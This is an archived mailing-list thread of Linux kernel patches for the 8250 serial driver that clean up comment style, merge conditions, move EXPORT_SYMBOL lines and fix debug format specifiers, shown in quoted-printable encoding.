	by faui40.informatik.uni-erlangen.de (Postfix) with SMTP id 3826B58C4CC;
	Wed, 13 Jan 2016 22:29:56 +0100 (CET)
Original-Received: by faui49man2 (sSMTP sendmail emulation); Wed, 13 Jan 2016 22:29:56 +0100
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1452720561-28443-1-git-send-email-anton.wuerfel@fau.de>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2126244 gmane.linux.serial:21547 gmane.linux.ports.parisc:26383
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2126244>

Checkpatch outputs some warnings about incorrect comment style,
which is fixed by this patch.

Signed-off-by: Anton W=C3=BCrfel <anton.wuerfel@fau.de>
Signed-off-by: Phillip Raffeck <phillip.raffeck@fau.de>
Cc: linux-kernel@i4.cs.fau.de
---
 drivers/tty/serial/8250/8250_ingenic.c | 12 ++++++++----
 drivers/tty/serial/8250/8250_pnp.c     | 14 ++++++++------
 drivers/tty/serial/8250/8250_port.c    | 32 +++++++++++++++++---------=
------
 drivers/tty/serial/8250/serial_cs.c    | 26 +++++++++++++++++---------
 4 files changed, 50 insertions(+), 34 deletions(-)

diff --git a/drivers/tty/serial/8250/8250_ingenic.c b/drivers/tty/seria=
l/8250/8250_ingenic.c
index 49394b4..4d9dc10 100644
--- a/drivers/tty/serial/8250/8250_ingenic.c
+++ b/drivers/tty/serial/8250/8250_ingenic.c
@@ -152,14 +152,18 @@ static void ingenic_uart_serial_out(struct uart_p=
ort *p, int offset, int value)
 		break;
=20
 	case UART_IER:
-		/* Enable receive timeout interrupt with the
-		 * receive line status interrupt */
+		/*
+		 * Enable receive timeout interrupt with the receive line
+		 * status interrupt.
+		 */
 		value |=3D (value & 0x4) << 2;
 		break;
=20
 	case UART_MCR:
-		/* If we have enabled modem status IRQs we should enable modem
-		 * mode. */
+		/*
+		 * If we have enabled modem status IRQs we should enable
+		 * modem mode.
+		 */
 		ier =3D p->serial_in(p, UART_IER);
=20
 		if (ier & UART_IER_MSI)
diff --git a/drivers/tty/serial/8250/8250_pnp.c b/drivers/tty/serial/82=
50/8250_pnp.c
index 658b392..00846a7 100644
--- a/drivers/tty/serial/8250/8250_pnp.c
+++ b/drivers/tty/serial/8250/8250_pnp.c
@@ -357,8 +357,8 @@ static const struct pnp_device_id pnp_dev_table[] =3D=
 {
 	/* Fujitsu Wacom 1FGT Tablet PC device */
 	{	"FUJ02E9",		0	},
 	/*
-	 * LG C1 EXPRESS DUAL (C1-PB11A3) touch screen (actually a FUJ02E6 in
-	 * disguise)
+	 * LG C1 EXPRESS DUAL (C1-PB11A3) touch screen (actually a FUJ02E6
+	 * in disguise).
 	 */
 	{	"LTS0001",		0       },
 	/* Rockwell's (PORALiNK) 33600 INT PNP */
@@ -367,12 +367,14 @@ static const struct pnp_device_id pnp_dev_table[]=
 =3D {
 	{	"PNPCXXX",		UNKNOWN_DEV	},
 	/* More unknown PnP modems */
 	{	"PNPDXXX",		UNKNOWN_DEV	},
-	/* Winbond CIR port, should not be probed. We should keep track
-	   of it to prevent the legacy serial driver from probing it */
+	/*
+	 * Winbond CIR port, should not be probed. We should keep track of
+	 * it to prevent the legacy serial driver from probing it.
+	 */
 	{	"WEC1022",		CIR_PORT	},
 	/*
-	 * SMSC IrCC SIR/FIR port, should not be probed by serial driver
-	 * as well so its own driver can bind to it.
+	 * SMSC IrCC SIR/FIR port, should not be probed by serial driver as
+	 * well so its own driver can bind to it.
 	 */
 	{	"SMCF010",		CIR_PORT	},
 	{	"",			0	}
diff --git a/drivers/tty/serial/8250/8250_port.c b/drivers/tty/serial/8=
250/8250_port.c
index f2e588e..5375c24 100644
--- a/drivers/tty/serial/8250/8250_port.c
+++ b/drivers/tty/serial/8250/8250_port.c
@@ -250,9 +250,11 @@ static const struct serial8250_config uart_config[=
] =3D {
 		.fcr		=3D UART_FCR_ENABLE_FIFO | UART_FCR_R_TRIG_10,
 		.flags		=3D UART_CAP_FIFO | UART_CAP_AFE,
 	},
-/* tx_loadsz is set to 63-bytes instead of 64-bytes to implement
-workaround of errata A-008006 which states that tx_loadsz should  be
-configured less than Maximum supported fifo bytes */
+	/*
+	 * tx_loadsz is set to 63-bytes instead of 64-bytes to implement
+	 * workaround of errata A-008006 which states that tx_loadsz should
+	 * be configured less than Maximum supported fifo bytes.
+	 */
 	[PORT_16550A_FSL64] =3D {
 		.name		=3D "16550A_FSL64",
 		.fifo_size	=3D 64,
@@ -1969,23 +1971,23 @@ int serial8250_do_startup(struct uart_port *por=
t)
=20
 	serial8250_set_mctrl(port, port->mctrl);
=20
-	/* Serial over Lan (SoL) hack:
-	   Intel 8257x Gigabit ethernet chips have a
-	   16550 emulation, to be used for Serial Over Lan.
-	   Those chips take a longer time than a normal
-	   serial device to signalize that a transmission
-	   data was queued. Due to that, the above test generally
-	   fails. One solution would be to delay the reading of
-	   iir. However, this is not reliable, since the timeout
-	   is variable. So, let's just don't test if we receive
-	   TX irq. This way, we'll never enable UART_BUG_TXEN.
+	/*
+	 * Serial over Lan (SoL) hack:
+	 * Intel 8257x Gigabit ethernet chips have a 16550 emulation, to be
+	 * used for Serial Over Lan.  Those chips take a longer time than a
+	 * normal serial device to signalize that a transmission data was
+	 * queued. Due to that, the above test generally fails. One solution
+	 * would be to delay the reading of iir. However, this is not
+	 * reliable, since the timeout is variable. So, let's just don't
+	 * test if we receive TX irq.  This way, we'll never enable
+	 * UART_BUG_TXEN.
 	 */
 	if (up->port.flags & UPF_NO_TXEN_TEST)
 		goto dont_test_tx_en;
=20
 	/*
-	 * Do a quick test to see if we receive an
-	 * interrupt when we enable the TX irq.
+	 * Do a quick test to see if we receive an interrupt when we enable
+	 * the TX irq.
 	 */
 	serial_port_out(port, UART_IER, UART_IER_THRI);
 	lsr =3D serial_port_in(port, UART_LSR);
diff --git a/drivers/tty/serial/8250/serial_cs.c b/drivers/tty/serial/8=
250/serial_cs.c
index 6d7a801..2b7309d 100644
--- a/drivers/tty/serial/8250/serial_cs.c
+++ b/drivers/tty/serial/8250/serial_cs.c
@@ -441,16 +441,20 @@ static int simple_config(struct pcmcia_device *li=
nk)
 	struct serial_info *info =3D link->priv;
 	int i =3D -ENODEV, try;
=20
-	/* First pass: look for a config entry that looks normal.
-	 * Two tries: without IO aliases, then with aliases */
+	/*
+	 * First pass: look for a config entry that looks normal.
+	 * Two tries: without IO aliases, then with aliases.
+	 */
 	link->config_flags |=3D CONF_AUTO_SET_VPP;
 	for (try =3D 0; try < 4; try++)
 		if (!pcmcia_loop_config(link, simple_config_check, &try))
 			goto found_port;
=20
-	/* Second pass: try to find an entry that isn't picky about
-	   its base address, then try to grab any standard serial port
-	   address, and finally try to get any free port. */
+	/*
+	 * Second pass: try to find an entry that isn't picky about
+	 * its base address, then try to grab any standard serial port
+	 * address, and finally try to get any free port.
+	 */
 	if (!pcmcia_loop_config(link, simple_config_check_notpicky, NULL))
 		goto found_port;
=20
@@ -480,8 +484,10 @@ static int multi_config_check(struct pcmcia_device=
 *p_dev, void *priv_data)
 	if (p_dev->resource[1]->end)
 		return -EINVAL;
=20
-	/* The quad port cards have bad CIS's, so just look for a
-	   window larger than 8 ports and assume it will be right */
+	/*
+	 * The quad port cards have bad CIS's, so just look for a
+	 * window larger than 8 ports and assume it will be right.
+	 */
 	if (p_dev->resource[0]->end <=3D 8)
 		return -EINVAL;
=20
@@ -623,8 +629,10 @@ static int serial_config(struct pcmcia_device *lin=
k)
 			break;
 		}
=20
-	/* Another check for dual-serial cards: look for either serial or
-	   multifunction cards that ask for appropriate IO port ranges */
+	/*
+	 * Another check for dual-serial cards: look for either serial or
+	 * multifunction cards that ask for appropriate IO port ranges.
+	 */
 	if ((info->multi =3D=3D 0) &&
 	    (link->has_func_id) &&
 	    (link->socket->pcmcia_pfc =3D=3D 0) &&
--=20
1.9.1



From - Thu Nov 08 21:38:23 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Anton Wuerfel <anton.wuerfel@fau.de>
Newsgroups: gmane.linux.kernel,gmane.linux.serial,gmane.linux.ports.parisc
Subject: [PATCH v6 13/15] tty: serial: 8250: Merge duplicate conditions
Date: Wed, 13 Jan 2016 22:29:19 +0100
Lines: 42
Approved: news@gmane.org
Message-ID: <1452720561-28443-14-git-send-email-anton.wuerfel@fau.de>
References: <1452720561-28443-1-git-send-email-anton.wuerfel@fau.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1452720713 10521 80.91.229.3 (13 Jan 2016 21:31:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 13 Jan 2016 21:31:53 +0000 (UTC)
Cc: Jiri Slaby <jslaby@suse.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Joachim Eastwood <manabian@gmail.com>,
	Matthias Brugger <matthias.bgg@gmail.com>,
	Masahiro Yamada <yamada.masahiro@socionext.com>,
	Peter Hurley <peter@hurleysoftware.com>,
	Sebastian Andrzej Siewior <bigeasy@linutronix.de>,
	Andy Shevchenko <andriy.shevchenko@linux.intel.com>,
	Phillip Raffeck <phillip.raffeck@fau.de>,
	Heikki Krogerus <heikki.krogerus@linux.intel.com>,
	Peter Hung <hpeter@gmail.com>, linux-serial@vger.kernel.org,
	linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
	linux-kernel@i4.cs.fau.de, Anton Wuerfel <anton.wuerfel@fau.de>
To: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Wed Jan 13 22:31:49 2016
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1aJT1A-0007Tk-0p
	for glk-linux-kernel-3@plane.gmane.org; Wed, 13 Jan 2016 22:31:48 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754583AbcAMVbd convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glk-linux-kernel-3@m.gmane.org>);
	Wed, 13 Jan 2016 16:31:33 -0500
Original-Received: from faui40.informatik.uni-erlangen.de ([131.188.34.40]:49445 "EHLO
	faui40.informatik.uni-erlangen.de" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1754060AbcAMVaJ (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Wed, 13 Jan 2016 16:30:09 -0500
Original-Received: from faui49man2 (faui49man2.informatik.uni-erlangen.de [131.188.42.190])
	by faui40.informatik.uni-erlangen.de (Postfix) with SMTP id 5A9B158C4CA;
	Wed, 13 Jan 2016 22:30:07 +0100 (CET)
Original-Received: by faui49man2 (sSMTP sendmail emulation); Wed, 13 Jan 2016 22:30:07 +0100
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1452720561-28443-1-git-send-email-anton.wuerfel@fau.de>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2126245 gmane.linux.serial:21548 gmane.linux.ports.parisc:26384
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2126245>

This patch refactors a switch case statement by merging an if condition
in the default case into an identical condition right after the switch
statement.
This comes with a slight change in behaviour: If pci_netmos_9900_numpor=
ts
returns 0, an additional warning is printed.

Signed-off-by: Anton W=C3=BCrfel <anton.wuerfel@fau.de>
Signed-off-by: Phillip Raffeck <phillip.raffeck@fau.de>
Suggested-by: Andy Shevchenko <andriy.shevchenko@linux.intel.com>
Cc: linux-kernel@i4.cs.fau.de
---
 drivers/tty/serial/8250/8250_pci.c | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/drivers/tty/serial/8250/8250_pci.c b/drivers/tty/serial/82=
50/8250_pci.c
index fbd4222..b22e5a5 100644
--- a/drivers/tty/serial/8250/8250_pci.c
+++ b/drivers/tty/serial/8250/8250_pci.c
@@ -850,13 +850,13 @@ static int pci_netmos_init(struct pci_dev *dev)
 			break;
=20
 		default:
-			if (num_serial =3D=3D 0 ) {
-				moan_device("unknown NetMos/Mostech device", dev);
-			}
+			break;
 	}
=20
-	if (num_serial =3D=3D 0)
+	if (num_serial =3D=3D 0) {
+		moan_device("unknown NetMos/Mostech device", dev);
 		return -ENODEV;
+	}
=20
 	return num_serial;
 }
--=20
1.9.1



From - Thu Nov 08 21:38:23 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Anton Wuerfel <anton.wuerfel@fau.de>
Newsgroups: gmane.linux.kernel,gmane.linux.serial,gmane.linux.ports.parisc
Subject: [PATCH v6 06/15] tty: serial: 8250: Move EXPORT_SYMBOL to function
Date: Wed, 13 Jan 2016 22:29:12 +0100
Lines: 46
Approved: news@gmane.org
Message-ID: <1452720561-28443-7-git-send-email-anton.wuerfel@fau.de>
References: <1452720561-28443-1-git-send-email-anton.wuerfel@fau.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1452720735 10792 80.91.229.3 (13 Jan 2016 21:32:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 13 Jan 2016 21:32:15 +0000 (UTC)
Cc: Jiri Slaby <jslaby@suse.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Joachim Eastwood <manabian@gmail.com>,
	Matthias Brugger <matthias.bgg@gmail.com>,
	Masahiro Yamada <yamada.masahiro@socionext.com>,
	Peter Hurley <peter@hurleysoftware.com>,
	Sebastian Andrzej Siewior <bigeasy@linutronix.de>,
	Andy Shevchenko <andriy.shevchenko@linux.intel.com>,
	Phillip Raffeck <phillip.raffeck@fau.de>,
	Heikki Krogerus <heikki.krogerus@linux.intel.com>,
	Peter Hung <hpeter@gmail.com>, linux-serial@vger.kernel.org,
	linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
	linux-kernel@i4.cs.fau.de, Anton Wuerfel <anton.wuerfel@fau.de>
To: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Wed Jan 13 22:32:06 2016
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1aJT1S-0007fb-7c
	for glk-linux-kernel-3@plane.gmane.org; Wed, 13 Jan 2016 22:32:06 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754120AbcAMVaJ convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glk-linux-kernel-3@m.gmane.org>);
	Wed, 13 Jan 2016 16:30:09 -0500
Original-Received: from faui40.informatik.uni-erlangen.de ([131.188.34.40]:49481 "EHLO
	faui40.informatik.uni-erlangen.de" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1753849AbcAMVaD (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Wed, 13 Jan 2016 16:30:03 -0500
Original-Received: from faui49man2 (faui49man2.informatik.uni-erlangen.de [131.188.42.190])
	by faui40.informatik.uni-erlangen.de (Postfix) with SMTP id 79DAB58C4D6;
	Wed, 13 Jan 2016 22:29:58 +0100 (CET)
Original-Received: by faui49man2 (sSMTP sendmail emulation); Wed, 13 Jan 2016 22:29:58 +0100
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1452720561-28443-1-git-send-email-anton.wuerfel@fau.de>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2126247 gmane.linux.serial:21549 gmane.linux.ports.parisc:26385
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2126247>

This patch moves EXPORT_SYMBOL macros directly after the definition of
the corresponding symbol to remove checkpatch warnings.

Signed-off-by: Anton W=C3=BCrfel <anton.wuerfel@fau.de>
Signed-off-by: Phillip Raffeck <phillip.raffeck@fau.de>
Cc: linux-kernel@i4.cs.fau.de
---
 drivers/tty/serial/8250/8250_core.c | 5 ++---
 1 file changed, 2 insertions(+), 3 deletions(-)

diff --git a/drivers/tty/serial/8250/8250_core.c b/drivers/tty/serial/8=
250/8250_core.c
index 3912646..15082ae 100644
--- a/drivers/tty/serial/8250/8250_core.c
+++ b/drivers/tty/serial/8250/8250_core.c
@@ -763,6 +763,7 @@ void serial8250_suspend_port(int line)
=20
 	uart_suspend_port(&serial8250_reg, port);
 }
+EXPORT_SYMBOL(serial8250_suspend_port);
=20
 /**
  *	serial8250_resume_port - resume one serial port
@@ -788,6 +789,7 @@ void serial8250_resume_port(int line)
 	}
 	uart_resume_port(&serial8250_reg, port);
 }
+EXPORT_SYMBOL(serial8250_resume_port);
=20
 /*
  * Register a set of serial devices attached to a platform device.  Th=
e
@@ -1167,9 +1169,6 @@ static void __exit serial8250_exit(void)
 module_init(serial8250_init);
 module_exit(serial8250_exit);
=20
-EXPORT_SYMBOL(serial8250_suspend_port);
-EXPORT_SYMBOL(serial8250_resume_port);
-
 MODULE_LICENSE("GPL");
 MODULE_DESCRIPTION("Generic 8250/16x50 serial driver");
=20
--=20
1.9.1



From - Thu Nov 08 21:38:23 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Anton Wuerfel <anton.wuerfel@fau.de>
Newsgroups: gmane.linux.kernel,gmane.linux.serial,gmane.linux.ports.parisc
Subject: [PATCH v6 12/15] tty: serial: 8250: Correct conversion specifiers
Date: Wed, 13 Jan 2016 22:29:18 +0100
Lines: 66
Approved: news@gmane.org
Message-ID: <1452720561-28443-13-git-send-email-anton.wuerfel@fau.de>
References: <1452720561-28443-1-git-send-email-anton.wuerfel@fau.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1452720773 11467 80.91.229.3 (13 Jan 2016 21:32:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 13 Jan 2016 21:32:53 +0000 (UTC)
Cc: Jiri Slaby <jslaby@suse.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Joachim Eastwood <manabian@gmail.com>,
	Matthias Brugger <matthias.bgg@gmail.com>,
	Masahiro Yamada <yamada.masahiro@socionext.com>,
	Peter Hurley <peter@hurleysoftware.com>,
	Sebastian Andrzej Siewior <bigeasy@linutronix.de>,
	Andy Shevchenko <andriy.shevchenko@linux.intel.com>,
	Phillip Raffeck <phillip.raffeck@fau.de>,
	Heikki Krogerus <heikki.krogerus@linux.intel.com>,
	Peter Hung <hpeter@gmail.com>, linux-serial@vger.kernel.org,
	linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
	linux-kernel@i4.cs.fau.de, Anton Wuerfel <anton.wuerfel@fau.de>
To: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Wed Jan 13 22:32:44 2016
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1aJT23-00080F-Tg
	for glk-linux-kernel-3@plane.gmane.org; Wed, 13 Jan 2016 22:32:44 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754792AbcAMVcg convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glk-linux-kernel-3@m.gmane.org>);
	Wed, 13 Jan 2016 16:32:36 -0500
Original-Received: from faui40.informatik.uni-erlangen.de ([131.188.34.40]:49481 "EHLO
	faui40.informatik.uni-erlangen.de" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1753949AbcAMVaI (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Wed, 13 Jan 2016 16:30:08 -0500
Original-Received: from faui49man2 (faui49man2.informatik.uni-erlangen.de [131.188.42.190])
	by faui40.informatik.uni-erlangen.de (Postfix) with SMTP id 7042E58C4E3;
	Wed, 13 Jan 2016 22:30:05 +0100 (CET)
Original-Received: by faui49man2 (sSMTP sendmail emulation); Wed, 13 Jan 2016 22:30:05 +0100
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1452720561-28443-1-git-send-email-anton.wuerfel@fau.de>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2126249 gmane.linux.serial:21550 gmane.linux.ports.parisc:26386
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2126249>

This patch fixes compiler warnings about wrong conversion specifiers us=
ed
in a debug output in 8250_pnp.c. The precise warning is:

drivers/tty/serial/8250/8250_pnp.c: In function =E2=80=98serial_pnp_pro=
be=E2=80=99:
include/linux/dynamic_debug.h:64:16: warning: format =E2=80=98%x=E2=80=99=
 expects argument
of [...]

include/linux/dynamic_debug.h:84:2: note: in expansion of macro
=E2=80=98DEFINE_DYNAMIC_DEBUG_METADATA=E2=80=99

include/linux/device.h:1179:2: note: in expansion of macro
=E2=80=98dynamic_dev_dbg=E2=80=99

drivers/tty/serial/8250/8250_pnp.c:467:2: note: in expansion of macro
=E2=80=98dev_dbg=E2=80=99
  dev_dbg(&dev->dev,
  ^
include/linux/dynamic_debug.h:64:16: warning: format =E2=80=98%lx=E2=80=
=99 expects argument
of [...]

include/linux/dynamic_debug.h:84:2: note: in expansion of macro
=E2=80=98DEFINE_DYNAMIC_DEBUG_METADATA=E2=80=99

include/linux/device.h:1179:2: note: in expansion of macro
=E2=80=98dynamic_dev_dbg=E2=80=99

drivers/tty/serial/8250/8250_pnp.c:467:2: note: in expansion of macro
=E2=80=98dev_dbg=E2=80=99
  dev_dbg(&dev->dev,
  ^

Those warnings never got triggered, because the command was nested
in an #ifdef, which is removed by a patch of this series.

Signed-off-by: Anton W=C3=BCrfel <anton.wuerfel@fau.de>
Signed-off-by: Phillip Raffeck <phillip.raffeck@fau.de>
Cc: linux-kernel@i4.cs.fau.de
---
 drivers/tty/serial/8250/8250_pnp.c | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/drivers/tty/serial/8250/8250_pnp.c b/drivers/tty/serial/82=
50/8250_pnp.c
index 0c32c59..92f4412 100644
--- a/drivers/tty/serial/8250/8250_pnp.c
+++ b/drivers/tty/serial/8250/8250_pnp.c
@@ -465,8 +465,8 @@ serial_pnp_probe(struct pnp_dev *dev, const struct =
pnp_device_id *dev_id)
 		return -ENODEV;
=20
 	dev_dbg(&dev->dev,
-		 "Setup PNP port: port %x, mem 0x%lx, irq %d, type %d\n",
-		 uart.port.iobase, uart.port.mapbase,
+		 "Setup PNP port: port %lx, mem 0x%lx, irq %d, type %d\n",
+		 uart.port.iobase, (unsigned long)uart.port.mapbase,
 		 uart.port.irq, uart.port.iotype);
=20
 	if (flags & CIR_PORT) {
--=20
1.9.1



From - Thu Nov 08 21:38:23 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Anton Wuerfel <anton.wuerfel@fau.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.serial,gmane.linux.kernel
Subject: [PATCH v6 11/15] tty: serial: 8250: Remove SERIAL_DEBUG_PNP macro
Date: Wed, 13 Jan 2016 22:29:17 +0100
Lines: 49
Approved: news@gmane.org
Message-ID: <1452720561-28443-12-git-send-email-anton.wuerfel@fau.de>
References: <1452720561-28443-1-git-send-email-anton.wuerfel@fau.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1452720797 11780 80.91.229.3 (13 Jan 2016 21:33:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 13 Jan 2016 21:33:17 +0000 (UTC)
Cc: Jiri Slaby <jslaby@suse.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Joachim Eastwood <manabian@gmail.com>,
	Matthias Brugger <matthias.bgg@gmail.com>,
	Masahiro Yamada <yamada.masahiro@socionext.com>,
	Peter Hurley <peter@hurleysoftware.com>,
	Sebastian Andrzej Siewior <bigeasy@linutronix.de>,
	Andy Shevchenko <andriy.shevchenko@linux.intel.com>,
	Phillip Raffeck <phillip.raffeck@fau.de>,
	Heikki Krogerus <heikki.krogerus@linux.intel.com>,
	Peter Hung <hpeter@gmail.com>, linux-serial@vger.kernel.org,
	linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
	linux-kernel@i4.cs.fau.de,
	=?UTF-8?q?Anton=20W=C3=BCrfel?= <anton.wuerfel@fau.de>
To: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Jan 13 22:33:09 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1aJT2S-0008Cp-VV
	for glpp-linux-parisc@plane.gmane.org; Wed, 13 Jan 2016 22:33:09 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754815AbcAMVcx convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 13 Jan 2016 16:32:53 -0500
Original-Received: from faui40.informatik.uni-erlangen.de ([131.188.34.40]:49445 "EHLO
	faui40.informatik.uni-erlangen.de" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1754002AbcAMVaH (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 13 Jan 2016 16:30:07 -0500
Original-Received: from faui49man2 (faui49man2.informatik.uni-erlangen.de [131.188.42.190])
	by faui40.informatik.uni-erlangen.de (Postfix) with SMTP id 4411958C4DA;
	Wed, 13 Jan 2016 22:30:04 +0100 (CET)
Original-Received: by faui49man2 (sSMTP sendmail emulation); Wed, 13 Jan 2016 22:30:04 +0100
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1452720561-28443-1-git-send-email-anton.wuerfel@fau.de>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26387 gmane.linux.serial:21551 gmane.linux.kernel:2126250
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26387>

=46rom: Phillip Raffeck <phillip.raffeck@fau.de>

This patch removes the macro SERIAL_DEBUG_PNP, which is used to enable
debugging at compile time.
As SERIAL_DEBUG_PNP is an orphan, the corresponding #ifdef is removed.
To keep the ability to enable debugging at compile time,
the call to printk(KERN_DEBUG ...) is replaced by a corresponding
call to dev_dbg(), which is configurable via CONFIG_DYNAMIC_DEBUG.

Signed-off-by: Phillip Raffeck <phillip.raffeck@fau.de>
Signed-off-by: Anton W=C3=BCrfel <anton.wuerfel@fau.de>
Cc: linux-kernel@i4.cs.fau.de
---
 drivers/tty/serial/8250/8250_pnp.c | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/drivers/tty/serial/8250/8250_pnp.c b/drivers/tty/serial/82=
50/8250_pnp.c
index 00846a7..0c32c59 100644
--- a/drivers/tty/serial/8250/8250_pnp.c
+++ b/drivers/tty/serial/8250/8250_pnp.c
@@ -464,11 +464,11 @@ serial_pnp_probe(struct pnp_dev *dev, const struc=
t pnp_device_id *dev_id)
 	} else
 		return -ENODEV;
=20
-#ifdef SERIAL_DEBUG_PNP
-	printk(KERN_DEBUG
-		"Setup PNP port: port %x, mem 0x%lx, irq %d, type %d\n",
-		       uart.port.iobase, uart.port.mapbase, uart.port.irq, uart.port=
=2Eiotype);
-#endif
+	dev_dbg(&dev->dev,
+		 "Setup PNP port: port %x, mem 0x%lx, irq %d, type %d\n",
+		 uart.port.iobase, uart.port.mapbase,
+		 uart.port.irq, uart.port.iotype);
+
 	if (flags & CIR_PORT) {
 		uart.port.flags |=3D UPF_FIXED_PORT | UPF_FIXED_TYPE;
 		uart.port.type =3D PORT_8250_CIR;
--=20
1.9.1

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
